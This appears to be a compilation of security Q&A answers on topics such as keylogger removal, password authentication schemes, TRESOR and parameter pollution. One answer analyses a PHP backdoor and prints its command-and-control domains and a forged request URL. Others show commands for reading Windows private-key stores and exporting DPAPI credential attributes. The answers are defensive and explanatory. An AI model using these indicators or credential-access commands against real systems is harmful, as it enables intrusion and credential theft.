To install LogKext, one needs to know the user's password (to get into administrator mode, AKA root), or needs to login in single-user mode. In both cases, your friend knows too much and has had too much access to your computer.

Resetting Mac OS X to the factory default only clears the files installed normally by users, such as your /home directory and other related files. So it very likely won't remove certain keyloggers. According to LogKext documentation, you can remove it by executing the script LogKextUninstall.command in your root directory.

I recommend completely wiping out your hard drive and then installing your operating system again.


Without using SSL, what's the most secure way to make an AJAX request to a PHP page?

Specifically, what are you trying to be secure against?

Eavesdroppers recording or intercepting messages between the client and host?  You basically need SSL to ensure no one can eavesdrop, or create your own encryption protocol (say as a browser extension or javascript on the page), though I strongly recommend against the create-your-own encryption method (will be slower/weaker and almost undoubtedly have major flaws if you do not have it examined by several crypto experts).  Granted if your users only have computers on separate networks from each other (and the host machine) and do not control intermediate networks (e.g., work at one of your ISPs), they won't be able to eavesdrop.

I'm not sure what the point of your game is:

  For example, I'm running a contest where if a user clicks an image successfully (jQuery), it passes their userid and a timestamp to a PHP page, both MD5 salted by random data and then encoded with MIME. The PHP page then validates this userid and timestamp, then returns a winning "code" in the form of another salted MD5 hash. I'm also employing multiple header checks to help ensure the request is from a valid location. Am I missing anything, or is that about all I can do? It seems like someone could just fire the jQuery click event and ruin the whole thing, but I don't see how I can prevent that.

Are there multiple images and only one image is correct and they are only allowed to guess once?  I'd suggest having them use a server-issue token of some sort.

A correct process would be (a) they use their secret credentials (username, password) to request a one-time guess token (a unique random string) from the server.  They then make their guess (by clicking an image) which submits the username, guess token, and the image they chose.  The server records the image if the submitted guess token was valid and has not been previously used; otherwise it says token not valid and throws out their answer.  This still let's an eavesdropper figure out the correct answer.


Was TRESOR integrated in the Linux kernel?

No, TRESOR was never integrated into the Linux kernel. It is specific to the x86 architecture, and requires AES-NI in order to not have a pretty nasty overhead. Due to the limited size of DR registers where the key is stored, it cannot store and precompute round keys (a common AES optimization), and thus must recompute them every single time. This isn't much of a problem if you have AES-NI, but it can be a pain if you don't. Linux devs don't like adding a feature that's a hacky workaround to a specific forensic technique applied against a hardware bug, especially when the mitigation only works well on newer x86 CPUs with AES-NI.

In addition, it prevents setting hardware breakpoints. Now, people usually set software breakpoints when debugging, because you can only set a maximum of 4 hardware breakpoints at a time, but some people cannot use software breakpoints because of the lower performance. TRESOR, because it uses all DR registers, requires the kernel tell userland that the number of DR registers is 0, and block all access to them for security reasons.

Regarding whether or not it solves the problem of cold boot attacks, the answer is partially. It completely mitigates the issue of stealing encryption keys from memory, but it does not encrypt the rest of memory. If you open a super secret file, it will stay in your page cache for a while. If your system is cold booted right then, the majority of your disk may be protected, along with your AES key, but all the files in your cache, including that super secret file, are exposed. The same goes with the rest of the data in RAM, like pages open in your web browser, etc.


How to secure an offline resource using offline software but with occasional server access?

This is just as impossible for partially offline software as it is for fully offline software. For example, someone could image the computer on day 1, and then restore the image and set the clock back on day 5, repeating this process forever. Doing this reduces it to the fully offline case, which you already know is impossible. If you want to actually secure the data from the user, then you absolutely need to be fully online, and keep the data on the server.


How to perform in-browser signing of data with Javascript using HMAC-SHA512?

There are many client side librarys out there, that are able to create HMAC signatures (google can help you here). For example jsSHA, which can also be found on cdnjs. Explainations on how to use the library can be found on the github page.

But keep in mind, that when you share your API secret with the client, be it hard-coded in your javascript file or with a request to your server, the client can extract the secret and use it for other requests. These request could violate the terms of service of your provider or simply use up your quota.
To prevent this abuse, you should either create the hash or preform the whole request on the server side and share the results with the client.


No, there are no known public flaw in Signal at the time of writing of this answer.
Source: there was only one CVE for Signal (for Android), in 2018. The only one listed (fixed in version 4.25.0 the 14 Aug 2018) could leak photos attached to disappearing messages.


How does the Whatsapp web client synchronize with the mobile application keeping all E2E?

It wouldn't make sense to make complete end to end encrypted system between two web clients because in that case the data encrypted/decrypted by web client will not be readable by the mobile client and vice versa.

To avoid this, there is a protected channel created between the mobile and web clients. The mobile clients will execute end to end encrypted chat service with each other and generate different key pairs to talk with the web clients. So the message can be read/generated by both (mobile and web) clients.

The answer that you are referring to already gives the technical ideas as to how it is implemented. I will just add a flow for you to understand.

Accordingly, say user A and B are communicating via whatsapp. Then the way the end to end encrypted chat will work is:

A's web client <-protected-> A's mobile client <-E2E-> B's mobile client <- Protected-> B's web client.

[Paraphrasing parts from the answer referred in the question]

  How the web client synchronizes itself with the mobile app?

Initial setup is done when the mobile client scans the QR code of the web client. After that, it is simple client server architecture where the mobile client acts as the server. All the messages are readable to the mobile client.

  How messages are sent to the browser session initially? What's going on when I write a message in the web client in order to maintain all the communication E2E?

Once a secure connection between the web and mobile client is established, that is used for all the communication. Again, it is not end to end encryption between the two web clients. The mobile clients can read all the messages. So the end to end encryption is between the mobile and web clients. Then there will be another end to end encrypted channel between the mobile and web clients.


Is This DIY Password Authentication Scheme Acceptable?

Your main problem can be summed up as: where's the SSL ?

Any eavesdropper, observing the exchanges, will obtain enough information to run an offline dictionary attack: the attacker will be able to "try passwords" by recomputing the relevant hash values and see if they match that which was observed. This is "offline" because the attacker can do all of this on his own computers, without interacting with the client or the server. The attacker can do all of this at the speed of his own machines, and, thanks to the fact that usual hash functions map very well to what modern CPU and GPU can do, he will be able to try billions of passwords per second. Not many passwords will last long under these conditions.

You could try to do some prior Diffie-Hellman to get a shared encryption key, and encrypt everything with that, but you have just moved the problem to that of making a Man-in-the-Middle attack: you think you talk to the server, but you are really talking to the attacker, with whom you do that DH key exchange. The attacker is then back to the previous situation, and can observe the hashes that allow him to run an offline dictionary attack.

The normal solution is to first setup a secure tunnel to the server, that at least guarantees to the client that he is talking to the intended server and nobody else. This is called SSL (or TLS, which is its "standard" name). Once you have such a tunnel, you can use a much simpler "show the password" authentication method, and the tunnel will also ensure that all subsequent data exchanges will be linked with that authentication (i.e. attackers won't be able to hijack the socket after the authentication steps).

SSL assumes that the client has a way to verify the server's identity -- that's the point of the server certificate. If you want to do without that certificate, and achieve password-based mutual authentication of the client and the server, but without revealing anything that would allow attackers to run offline dictionary attacks (even active attackers that try to impersonate the client or the server), then you need one of these nifty password-authenticated key exchange algorithms. There again, use SSL, with SRP cipher suites. The only known protocols that succeed at such certificate-less password-based authentication without offering offline dictionary attacks use some maths; you won't achieve that by simply using hash functions.

Regardless of the authentication protocol, you still need a secure password hashing function for whatever you store on the server side, to avoid transforming a read-only partial intrusion (e.g. through some SQL injection) into a password-breaking fiesta.

And, of course, in cryptography, "do-it-yourself" is the fastest road to Hell.


My sites have been hacked by cpamatik.com , it passes all security checks with Google and Sucuri, but still redirects, any idea?


What can be done to secure passwords that might be stored in plain text or hashed inside a git repository?

One thing you could do is store the passwords inside a configuration file (for example Laravel stores it inside .ENV) and then avoid committing it to the repo, by adding it to .gitignore.

Users will have to create one manually after downloading the repo.


How do you securely give access to a Java App interactive console (Linux/GNU)?

Since IP addresses really aren't suitable for authentication, you should implement something else to do the job. A simple example in your scenario would be to write a wrapper script (executed by netcat or socat) that prompts for credentials. If the credentials are correct, it can then exec your Java program. This could be done in a few lines with a Bash script, e.g.:

#!/bin/bash

CORRECT_PASSWORD='h7a0&7;ngIl1+'
MYPROG="java filenamehere"
echo -n "Enter password: "
read -s pass

if [[ "$pass" == "$CORRECT_PASSWORD" ]]; then
    exec "$MYPROG"
else
    echo Password incorrect
fi

You could run this in an endless loop with:

socat openssl-l:1234,reuseaddr,fork,certificate=cert.pem,keyfile=key.pem exec:/usr/local/bin/myscript

You do not need to worry about IP spoofing when using TCP in most cases, so whitelisting allowed addresses can be part of a defense-in-depth solution for your application.

Now, this is all assuming you fully trust the other person to use your application and your application is otherwise sufficiently locked down.


Why would Bill Burr of NIST say N3v$r M1^d?

Data

The Wall Street Journal article says:

  The problem is the advice ended up largely incorrect, Mr. Burr says.
  Change your password every 90 days? Most people make minor changes
  that are easy to guess, he laments.

In that context the "90 days" appears to be his current summary of what was put in place as the result of his recommendations 15 years ago.  I do not read that as quoting NIST 800-63 v1.0 as saying "90 days" anywhere.  And when we look at the Verge article, which appears to be based on the WSJ article, they've changed that to:

  Even worse, Burr suggested people should change passwords regularly,
  at least every 90 days.

I don't get that from the original quote, and I think that it's a mis-representation of the original quote.

So let's look at the "original", or at least, the oldest version I can find: NIST SP 800-63 Version 1, September 2004.  (A list of many versions is available from NIST.)

Appendix A does not contain any reference to 90 days.  It does contain a reference to 90 years:

  Such a lock out would suffice to limit automated attacks to 3 trials a
  minute and it would take about 90 years to carryout 2^25.5 trials. If
  the system required that password authentication attempts be locked
  for one minute after three unsuccessful trials and that passwords be
  changed every ten years, then the targeted password guessing attack
  requirements of level 2 would be comfortably satisfied.

And he demonstrates how the entropy of a password and the lockout conditions can be used to calculate how susceptible a password is to online brute forcing:

  For example, consider a system that required passwords to be changed
  every two years and limited trials by locking an account for 24 hours
  after 6 successive failed authentication attempts. An attacker could
  get 2 ´ 365 ´ 6 = 4,380 attempts during the life of the password and
  this would easily meet the targeted attack requirements of level 2.

If you search for keywords like 'change', 'rotate', 'hour', 'day', 'month' you will not find any specific advice which says passwords should be changed every 90 days.

That's the data we have. Now:

Opinion

Appendix A of SP 800-63 v1 explained the idea of entropy as a measurable aspect of passwords, described ways that more entropy could be employed in password strings of given lengths, and drew a connection between acceptable password timeframes based on average guessing with online constraints.

In practice, a lot of people looked at that and said "Okay, so we'll set password complexity requirements, and require rotation, and we'll be A-Okay!"

In hindsight, this was regrettable, for the following reasons:

It discussed online brute force attacks, where delays can greatly slow down an attacks.  The combination of Moore's law and offline brute force attacks shredded those assumptions like a tiger with a box of goat-flavored Kleenex.
It had the overall effect of emphasizing short, complex passwords, just because it focused on exploring their mathematics.  But the fact of the matter is, the Appendix itself knew this wasn't preferred!  It said "...many people may prefer to memorize a relatively long “pass-phrases” of words, rather than a shorter,
more arbitrary password."  Fast forward today, and where are we?  "Passphrases are better than passwords."  It's not Burr's fault people ignored that.

In summary, NIST SP 800-63 v1 may have been as damaging as Burr thinks it was - but it wasn't his fault.  People drew short-sighted conclusions based on a report that stated up front how little data it had to work with in making recommendations.  It was better than nothing at the time and it has been our failure - choosing to rely on it, rather than trying to resolve the lack of empirical data that the report called out.

On that note, I'll leave you with this part of the Appendix intro:

  Unfortunately, we do not have much data on the passwords users choose
  under particular rules, and much of what we do know is found
  empirically by “cracking” passwords, that is by system administrators
  applying massive dictionary attacks to the files of hashed passwords
  (in most systems no plaintext copy of the password is kept) on their
  systems. NIST would like to obtain more data on the passwords users
  actually choose, but, where they have the data, system administrators
  are understandably reluctant to reveal password data to others.
  Empirical and anecdotal data suggest that many users choose very
  easily guessed passwords, where the system will allow them to do so.


Overview. Yes.  You are right.  Very good catch to have noticed this.

Details. This is basically an instance of a HTTP Parameter Pollution vulnerability.  This is basically an injection vulnerability (analogous to XSS, except that it is injection into HTTP parameters rather than injection into HTML).

Defenses. To defend against this, I suggest you do two things:

Sanitize the parameter values.  Build a whitelist of characters that are expected to appear in your queries and that are also known to be safe in this context (make sure it does not include &, ?, =, #, %), and strip everything in the parameter value that is not in the whitelist.
URL encode the parameter values before interpolating them into the new query.

Related research.  See also the following research paper:

Automated Discovery of Parameter Pollution Vulnerabilities inWeb Applications.  Marco Balduzzi, Carmen Torrano Gimenez, Davide Balzarotti, and Engin Kirda.  NDSS 2011.  (summary)


How can I enumerate all the saved RSA keys in the Microsoft CSP?

These keys are stored in the locations listed at the bottom of this post.  Many network administrators aren't aware of the purpose of these files, and some forum posts on the web incorrectly advise people to delete these files.  Of course, the impact of such an action is implementation/application specific.  I was not able to read the files using the following code (perhaps some change is needed)

  var files = System.IO.Directory.GetFiles(@"C:\ProgramData\Application Data\Microsoft\Crypto\RSA\MachineKeys\");

        foreach (var f in files)
        {
            RSACryptoServiceProvider rsaKey = new RSACryptoServiceProvider();
            var readFile = File.OpenRead(  f.ToString());
            byte[] FileOut = new byte[readFile.Length];
            readFile.Read( FileOut, 0, (int)readFile.Length-1);
            rsaKey.ImportCspBlob(FileOut);

        }

It appears that the tool "User State Migration tool" is required to move this data from one computer to another.  In addition some tool will need to expose the keys from CryptoAPI to the CNG after such a move.

I am not aware of any way to view the related files containerName referenced in the CSP.

  The Microsoft legacy CryptoAPI CSPs
  store private keys in the following
  directories.

User private

%APPDATA%\Microsoft\Crypto\RSA\User SID\
%APPDATA%\Microsoft\Crypto\DSS\User SID\

Local system private

%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\RSA\S-1-5-18\
%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\DSS\S-1-5-18\

Local service private

%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\RSA\S-1-5-19\
%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\DSS\S-1-5-19\

Network service private

%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\RSA\S-1-5-20\
%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\DSS\S-1-5-20\

Shared private

%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\RSA\MachineKeys
%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\DSS\MachineKeys

  CNG stores private keys in the
  following directories.

User private
%APPDATA%\Microsoft\Crypto\Keys

Local system private
%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\SystemKeys

Local service private
%WINDIR%\ServiceProfiles\LocalService

Network service private
%WINDIR%\ServiceProfiles\NetworkService

Shared private
%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\Keys

Reference:

http://msdn.microsoft.com/en-us/library/bb204778(v=vs.85).aspx

LDAP

These keys are also stored in LDAP if credential roaming is enabled

ldifde.exe -s %LOGONSERVER% -f cscverify.ldf -r "(cn=USERNAME)" -l msPKIAccountCredentials,msPKIRoamingTimeStamp,msPKIDPAPIMasterKeys

Replace the word USERNAME in this command with the user name where credential roaming does not work. To ensure that Active Directory replication was already performed, use the -s option in the command and replace %LOGONSERVER% with the server the user actually logs on to. Make sure that the cscverify.ldf file shows values for the exported attributes.

The size of the LDAP entries is controled by DIMSRoarmingMaxNumTokens  and DIMSRoamingMaxTokenSize  registry keys (source)


ML approach to malicious attachments using email contents

I think you are using the wrong tool for the wrong problem. Why not inspect the attachment for malicious code? What does pairing the content of both things gain you?

Also, you appear to have an underlying assumption about the disconnect between the two contents. Why do you think that the attachment content would not match the email content?

What if attachments are zipped, compressed, encrypted, or compiled and you cannot read the content? What if the attachment has no content?

So, if we do the things we currently can do correctly: validate senders, Bayesian analysis of email content, and inspection for malicious attachments, what gaps exist for your approach to provide fruit?

I do not believe projects exist to do this (and I have not heard of any) because it is simply not a fruitful area for work when there are other more fruitful avenues.


Encrypted LVM as an alternative to TrueCrypt

Well given that sourceforge recently requested a reset of users' password I would not be too fast to panic. It could still be a joke.

Nevertheless, regarding your questions:

LVM is as secure as any other software - until proven otherwise, i.e. until a vulnerability is found. There's no guarantee of security ever.
Cold boot attacks depend on how long your RAM stores data - regardless of the encryption software you use. One could use a cold boot attack to read your poetry, not necessarily your passwords.
The developers aren't leaving any holes intentionally for data recovery. They are working hard to avoid that - as it would be a serious vulnerability waiting to happen.

UPDATE Somebody pointed out in the comments that the key used to sign the latest "dismissal" release of TrueCrypt appears to be genuine, i.e. the same key used for previous releases. This is likely unrelated to the SF password compromise accident.


How does an email provider verify my custom domain name?

In short: You cannot simply set up a rogue Google or Reddit e-mail server, because DNS.

E-mail clients and servers rely upon DNS in very much the same way most web browsers and websites do. When a node has a package that requires delivery to an address at domain.tld, that node will first query their DNS servers to retrieve the MX record for that domain. The MX record, in turn, points to the registered IPs or hostnamefor the e-mail servers for that domain.

Even if you set up your e-mail server, and configured it to accept mail for domain.tld, it would never receive mail for that domain unless the person in control of the domain's DNS included your server in their MX records. Of course, there are ways that DNS could be spoofed or a system could be pointed to a rogue DNS server. But those are beyond the scope of this discussion.

Aside from making sure you're not trying to set up a spoof mail server, the dependency upon DNS is another reason Google and similar services require this type of verification for custom domains. The verification process requires that you post a unique string in a location which requires a DNS lookup to reach. If the service provider can verify that you have posted the string there, then they know that you at least have control of the DNS records for that domain.

(Whether control of those records was legitimately obtained is, to a certain degree, not their concern. It's largely up to the DNS provider to make sure unauthorized users cannot modify the records.)

If you don't have control of the DNS records, then no e-mail provider will be able to service your custom domain. Thus, why would they go through the trouble, and expend the resources, to set up a server that won't provide the functionality their customer expects?


Decrypting packets sent from a server to a client, how to figure out the key, having both decoded packets and encoded packets

What you are describing is called a known plaintext attack, and, from the Wikipedia:

  Modern ciphers such as Advanced Encryption Standard are not currently
  known to be susceptible to known-plaintext attacks.

So no, having many plaintext and ciphertext pairs won't help you decrypt unknown ciphertexts (unless an old algorithm was used to encrypt the text).


Is there any way to get infected by opening an email i.e., if an image is attached to the email?

Emails are one of the many routes malware take/use to infect hosts. While it was more common in the previous years yonder with ILoveYou (see link below), and other such pieces, email is becoming less of an infection route because:

Less people use mail client software, and more use web based email (eg. Gmail).
Software and OS security has drastically improved.
Spam filters, and DKIM (along with other mail system improvements) mitigate risks.
People are more generally more aware of what happens when you open bad/unknown emails.

Still, it's used to some degree, especially with spear phishing and whaling attacks. Some attacks are sophisticated to use HTML code to attack the email client (which are popular in enterprises/corporations).

The critical part as other answers have brought up is that double extensions can trick users into thinking an attachment is safe to open. Again, this is on of the many parts that allowed ILoveYou to spread with ease.

It is more common place to see attachments within attachments. For example, you can place files inside a PDF file which can house other files. Some AVs do not scan these files, some do.

Depending on the operating system, malformed images can also be spread through emails, which allows code to be executed. You can see more about this in the last two links.

Easy ways to safe guard yourself from email malware:

View all emails as text. Some email clients support this.
A follow up is to request text-only emails. Reputable sites allow for this.
Do not open emails from unknown/unfamiliar emails, or emails sent at unexpected hours.
Ensure you use up to date email clients, or use online web based email.

https://en.wikipedia.org/wiki/ILOVEYOU

https://social.msdn.microsoft.com/Forums/vstudio/en-US/7010cefa-e596-45af-b193-40206451dd90/how-can-i-load-an-emf-file-into-wpf?forum=wpf

https://www.symantec.com/security_response/vulnerability.jsp?bid=30594


I am not finished and I don't know whether I ever will.

However my current results: The code itself is quite advanced (from my point of view).
The code itself is shellcode http://en.wikipedia.org/wiki/Shellcode that tries to load a payload from a remote server.

The code has at least one level of indirection.
At first it looks like those are the server providing the payload:
"33db9538", "9507c4e8", "e5b57288", "54dfa1cb"
These servers, when appending .com results in fake sites all registered by Maksim A Nesterov in Kiev, Ukraine.
However digging deeper it looks like those servers act only as a distraction since later in the shellcode those are replaced by another set of servers:

$arr = array (
        0 => '54dfa1cb',
        1 => '33db9538',
        2 => 'e5b57288',
        3 => '9507c4e8',
      );

Those servers are again under the control of the owner in Kiev. I suspect those may be the servers hosting the payload.

(Note: The names are all parts of a md5 hash and are generated in code)

Now the code gets ugly. I am already dissecting the code a second time and I may be wrong. But from the array above it looks like only the first or second is randomly chosen, not the other two.

Then the script merges a lot of client properties into some large hash with some arbitrary number:
http://  54dfa1cb.com  /366666?Fa2q8rOQ86kIwU7ZiX2Hcz0C53nhh8xfGo%252F11suKdoVhXxb98vt%252B95qlKnJaCZYUOzf1RgGHfWjAq%252B5wlthnTuM%253D.MLak6%252BXTvfVJjh2SzlyLbz8B%252F33vqvcSAw%253D%253D.bPf%252Br%252BzSo7QOwUzK.MLak6%252BXTvfVSghudzkePdDdD82Ws.d6q%252F9rrT9PNehFGAzl%252FAbTEd

This does however result in a 404 since I may have overseen something. I forged the request query but the server may still refuse my request.
Either the servers I've located are still decoys or I haven't replicated the full request environment correctly. As all the md5 hashed data is sent to the server I would expect it to validate that by recreating parts like USER_AGENT and referrer.

The observable result of this when running it in your code would be adding extra code at the very end of the body or the html (typically body) that does something. The code does not execute when some keywords in referrer or paths are used, e.g admin, google, etc, so the shellcode is not indexed by search engines.

Blind guess: The shellcode will load some binary executable code onto the user's machine and try to execute it.

While I was faking a Firefox User Agent there is no way to properly now what exactly the server expects. It may just react on Internet Explorer to use some known security hole and report 404 on every other case or require a windows operating system, etc.

Do not execute the code to see what happens!

This shellcode was designed for the servers mentioned above and this is no noob work. There is quite an effort in this obfuscation of the code. It has several layers of eval and preg_replace with the e-modifier to resist reverse engineering.

Executing this code in a dummy environment is a security risk as the shellcode could potentially gain access to the machine on which it is running.

Edit: This part addresses your question on how it was possible etc:

(Disclaimer: I have little to no knowledge about encryption, security, hacking etc. I just have some knowledge in PHP programming and always wanted to get my hands on some real world shellcode to understand what and how it does things.
Coincidently a machine at home has been infected for quite a long time resulting in stolen logins, etc and I am trying to guess what the attack vector on those logins was, which is nearly impossible for me.)

There are so many possibilities for your issue at hand (attack vectors) that I bet I forgot some and due to lack of experience I am unable to pin the most probable one.

Depending on how your hoster stores the log in data it may be possible that an attacker obtained the database, shadow file, user account file etc with logins and hashed passwords and were able to perform some sort of attack on it to obtain plaintext passwords (dictionary, brute force attack, etc). It may be even possible that the passwords are stored in plaintext. Unlikely but that did already happen, afaik.
Your machine might have been compromised. Even with proper AV and firewall drive by infection, email attachments, the use of cracked software or any other entry point may have resulted in a trojan that obtained log in data for your server, email etc. Many people store their passwords in a password manager like firefox or chrome etc, which may be easy to access once malware gained control (http://www.digitaltrends.com/computing/lay-off-chrome-firefox-has-the-same-password-security-flaw/)
The probably most unprobable way would be some attacker wiretapping your network data by gaining access to your Wi-Fi (I mean beside the NSA which does that already :) ). This way requires monitoring network packets and filter them. I don't know how likely that is.

The ways above require quite some effort and after that you still need to get onto your server and infect your php files.

I think more common ways for your issue are:

One of your PHP files is vulnerable to code injection (http://en.wikipedia.org/wiki/Code_injection). An attacker was able to execute arbitrary code on your account. This might be done by (but not limited to) careless use of "eval", "create_function" or preg_replace with the e-modifier.
(Sidenote: May not apply here but many beginners learning sql and php tend pass script arguments into sql without proper escaping, resulting in (http://en.wikipedia.org/wiki/SQL_injection)
Much worse but unlikely on professional hosting sites: Your account typically shares a physical or virtual machine with other users. The path to your files on a machine are like /var/www/1234, other accounts may be /var/www/1235 and /var/www/1233 (sorry linux guys if the path is not plausible :)). If a hacker gained access to script files  of lets say /var/www/1233 and therefore to the file-system and the server is not properly configured an attacker may use the file-system to access all other file-locations, e.g /var/www/1234 (yours) and /var/www/1235 (some other poor guy). Such scenario is not controlled or influenced by you as you have no point of influence here.
A very common case is using a CMS, Wiki etc that is not up-to-date. Such systems tend to expose a way to execute arbitrary code on them. Typically a dev detects the issue and patches it. But if you do not check for updates daily or regularly a security issue may go undetected. An attacker now just probably need to do a google search for let's say some CMS got a hole fixed at version 1.5. If you search the web for "CMS 1.4" you will find all sites using the CMS before the hole got fixed. I've read an article how incredible easy it is to use a search engine to locate sites with security holes suitable for injection or finding cms or other types of software where critical files (containing passwords, etc (bad way!)) are publicly visible.

What I would do (and am currently doing, as I have a similar issue):
* Remove backdoor code first.
* Get a rescue CD (I got avira's, avg's and kaspersky's) boot your machine with one or all of them and do a scan. Clear everything infected. It might be wise to reinstall windows.
* If you do not reinstall windows than you will need to repeat the rescue cd part after some days to check, whether new threads were detected, if true, you may have malware that causes a re-infection of the system and then you will need to reinstall-windows anyway.
* Keep AV software up-to-date (daily updates)
* Perform full scan at least once a week
* After you have no malware on the system. Change all passwords on all accounts.
* Check whether your php files are infected again. Removing malicious code should be priority 1 but as you might have done that on a possibly compromised machine it may get reinfected there. It's even possible that you infect yourself with the backdoor on your site if you visit it.

As a matter of fact observing the result of an infection is easier than the fact when you got infected. That' like real life. You know when you have a flu but you cannot be sure where and when you got infected.

Again Disclaimer: No security background, just things I would do and things I have observed during my time in the web.
If anyone sees obvious flaws in my explanations, please correct them.


Default accounts shutdown, halt, and sync - still shipping?

if the OS vendors have finally gotten the clue not to ship systems with these rather egregious defaults

In all modern OSes, these accounts ship disabled, if at all. The presence of these accounts is not an egregious default. They're only a risk if you enable them in some way, for example by setting up a password (which only root can do).

Removing the account, or declaring it as locked or expired, protects against the risk of an administrator accidentally setting up a password for the account. As risks go, there are bigger ones.


How Hathaway ISP shows renewal reminder in non secure website?

The official name for this process is called man in the middle. This is usually used by hackers trying to extract data but, as seen here can be used in non-harmful ways as well.

Basic Diagram:

(INTERNET)=>(ISP)=>(YOU)

Explanation: Since the ISP is in the middle of you and the internet it can inject extra data into network packets.

The reason it doesn't work for HTTPS: HTTPS is an SSL wrapper for HTTP so the ISP can't inject any HTML because the HTTPS packet is encrypted and to inject data into an SSL packet you would need to decrypt, inject and then re-encrypt the packet with the modified data enclosed.

PS: And yes, your isp can read ANY HTTP(plain text) traffic.


Defending against DoS via product reservation

I've seen 2 main solutions:
Your products are being reserved for X minutes
I've seen notices like this occasionally, but only on places where inventory really matters (usually ticketing sites).
I've also built a number of eCommerce sites for small businesses, and their preferred solution is always the same:
Just ignore it
It's often just not a critical factor, even if you don't have JIT manufacturing capabilities.  Sometimes you can just have it drop shipped from the manufacturer.  Most of the time the turn over on your inventory is low enough that it just doesn't matter.  Sometimes you have to reach out to the customer after they place the order and let them know about the delay.
In short, this is more of a business problem, and not all businesses care.


The paper mentioned is more of a marketing message than anything substantial.

While I am not an expert on HIPAA, it is pretty similar to the UK requirements on sensitive (patient) data. Ideally, you will always try to encrypt data "at rest", eg when on a permanent storage device. However, this is not always easy and to do it well requires very careful execution. No point, for example, in encrypting your drives if the key is in vulnerable memory.

In the UK, government data is classified according to sensitivity levels and then risk assessed against a standard set of Business Impact Levels (IL for short). Patient data for example would be classified as OFFICIAL-SENSITIVE and IL3 is advised. IL3 would recommend encryption at rest but this is not mandated if the data centre and any staff with access are appropriately certified and security cleared.

In your case, the use of AWS means that you have to rely on Amazon to maintain their claims about the data centres. For the UK market, Microsoft have certified their Azure platform (in the EU) to IL2 making it suitable for OFFICIAL classifications (most government documents). To obtain a higher level of classification on a shared platform would be prohibitively expensive. However, there are higher level certified systems though they are effectively private clouds.

So to answer your direct questions (sorry about the extended background):

Ideally you should, it gives you a higher level of assurance and reduces risk (when done correctly)
If you can then key assets are best encrypted. Again assuming you do it right. It may not be possible though depending on how you need to use the data. Probably not sensible to do both on the same data though.

Putting sensitive data onto an open cloud platform is fraught with issues and risks. You need to do a good risk analysis on each part of your service, document the risk and the impact if the risk is realised. Then weigh that against the costs of additional security. If this is patient data, you should also consider the impact on the patients, this wont (shouldn't) just be a simple matter of corporate economics.

There is no absolute right or wrong answer here.


Port bound TLS certificates? (1 Self-signed & 1 CA)

At the time of writing, the particulars of TLS Token Binding are being actively drafted by the IETF "tokbind" Working Group and was initially proposed in RFC8471, "The Token Binding Protocol Version 1.0."  The abstract of that RFC document states, "The Token Binding protocol allows client/server applications to create long-lived, uniquely identifiable TLS bindings spanning multiple TLS sessions and connections."  While it does not specifically restrict the token to a particular port number, it is clear that a TLS binding spanning multiple sessions/connections can naturally apply to a particular port number.  In other words, the token is bound to the origin (i.e. scheme-host-port triple) of the URI where the HTTPS service is listening.  This is to be expected since SOP, a.k.a. Same-Origin-Policy is one of the most fundamental web application security concepts.

Implementation of this token binding protocol requires support for the TLS extension in the client and server software.  According to RFC8473, "Token Binding over HTTP", Section 4--the setup you're describing is known as a "first-party" or "same-site" scenario.  This is in opposition to a federated scenario where an IdP (Identity Provider) binds the token across multiple TLS services.

Application layer modifications, i.e. HTTP headers such as Include-Referred-Token-Binding-ID and Sec-Token-Binding as defined by RFC8473 are not necessary in this case, although they are required for federation use cases where clients may have requests redirected to identity providers.  A same-site/first-party (or as you referred to it, "port-bound") use case only requires transport layer support for the TLS token_binding extension whose protocol data is detailed in Sections 2 and 3 of RFC8472, "Transport Layer Security (TLS) Extension for Token Binding Protocol Negotiation".  The TLS ClientHello and ServerHello protocol data units communicate support for the extension and its key parameters.

For more information about the protocol itself, see the referenced RFC documents and the TokenBinding GitHub account.  There is also a mod_token_binding repository published by GitHub user zmartzone that has an Apache 2.4 module which implements this feature.  Moreover, Google has published ngx_token_binding on GitHub which is an NGINX module supporting the TLS extension.  According to this [Intent to Implement: Token Binding] document for Chromium, browser-side implementation is split between BoringSSL and Chromium's SSLClientSocket.  The Windows IT Pro Center web site documents token binding for Windows Server 2016 and Windows 10.  Hope this helps!


Do any browsers support Server Name Indication (SNI) but NOT SHA-2?

Chrome on XP SP2?
(Disclaimer: Conjecture follows.)
XP SP2 lacks the SHA2 capabilities that XP SP3 added.

IE8 can't SNI. -> so it's out of the candidate list.
IE9 can SNI. IE9 uses the OS-cert-mangement. But IE9 doesn't run on XP.
Firefox does it's own cert-management. And it has supported SHA-2 for a long time.. And it has also supported SNI for a long time.
Chrome uses the OS-level-cert-management. So it can only accept certs that the OS says are good. And if you run Win XP SP2 (no SP3), as many Chinese supposedly do, then this might mean you're out of luck. (Note: Google's support for Chrome on XP ends 2016-04.)

(Disclaimer: I haven't actually tested this.)


Looking for signs of forensics - Assuming they didn't do the smart thing

You could begin taking some look at the Forensic Toolkit to examine the NTFS filesystem.

In the same page there are tools for playing with the trash bin, IE, etc.

About registry, take a look at this and this, you'll find some indication of interesting tools.


For any halfway decent hash function, even hashes that are completely unsuitable for cryptography, if you look for collisions by brute force, it doesn't matter how you explore the search space. Keeping a fixed prefix and changing the suffix, or keeping a fixed suffix and changing the prefix, are as good as any other method. That's because all hash functions are designed to produce distinct results for similar inputs.

If there are N possible hash values, you need about to calculate and store about √N hashes until you have a good chance of finding a collision (the birthday bound). For a 32-bit hash as used in hash tables, N = 232 so √N = 216 which is reached very quickly. For a 128-bit hash such as older cryptographic hashes, √N = 264. A GPU these days can calculate something like 234 (16 billion) MD5 hashes per second, which means it calculates 264 hashes in about 230 seconds ≈ 34 years).

But that's not all: to find a collision, you need to store the result of all these calculations, so the limiting factor will be memory bandwidth. And once your RAM fills up, that'll be storage bandwidth. You aren't going to find a collision in a 128-bit hash in your lifetime.

Hashcat is designed to find hash preimages, not to look for collisions. Hashcat is designed to reverse password hashes (and ordinary hashes that are misused for passwords), and collisions are not relevant for that. But even with an optimized tool, what you're trying to do is not feasible for any cryptography-sized hash.

